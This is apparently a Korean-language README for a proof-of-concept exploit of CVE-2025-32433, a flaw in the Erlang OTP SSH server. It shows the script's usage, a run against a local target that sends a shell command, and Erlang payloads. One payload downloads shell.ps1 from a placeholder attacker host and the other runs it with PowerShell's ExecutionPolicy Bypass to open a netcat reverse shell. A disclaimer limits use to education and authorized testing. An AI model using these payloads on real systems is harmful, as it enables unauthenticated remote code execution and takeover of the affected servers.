CVE-2025-32433

취약점 정보: https://nvd.nist.gov/vuln/detail/CVE-2025-32433

POC

kdev :: ~/erlang/CVE-2025-32433 ‹main*› » python3 cve-2025-32433.py -h
usage: cve-2025-32433.py [-h] [-d] [--host HOST] [--port PORT]

Exploit for CVE-2025-32433 (Erlang OTP SSH server).

options:
  -h, --help           show this help message and exit
  -d, --debug          Print raw response in hex format
  -t, --target TARGET  Target host (default: 127.0.0.1)
  -p, --port PORT      Target port (default: 2222)
  
kdev :: ~/erlang/CVE-2025-32433 ‹main*› » python3 cve-2025-32433.py -t 127.0.0.1 -p 2222
[*] Connecting to SSH server...
[✓] Banner: SSH-2.0-Erlang/5.1.4.7
[*] Sending KEXINIT...
[*] Opening channel...
[?] Shell command: your command
[*] Sending CHANNEL_REQUEST...
[✓] Payload sent.

페이로드 가져오기

inets:start(), {ok, {_, _, Body}} = httpc:request("http://ip_attack/shell.ps1"), file:write_file("C:/Users/Public/shell.ps1", Body).

netcat 리스너 세션을 생성하고 명령을 실행합니다.

os:cmd("powershell.exe -ExecutionPolicy Bypass -File C:/Users/Public/shell.ps1").

면책 조항

이 도구는 교육 목적과 승인된 보안 테스트 전용입니다. 작성자는 이 스크립트의 오용이나 이로 인한 손해에 대해 책임을 지지 않습니다.

CVE-2025-32433-available-for-windows

인기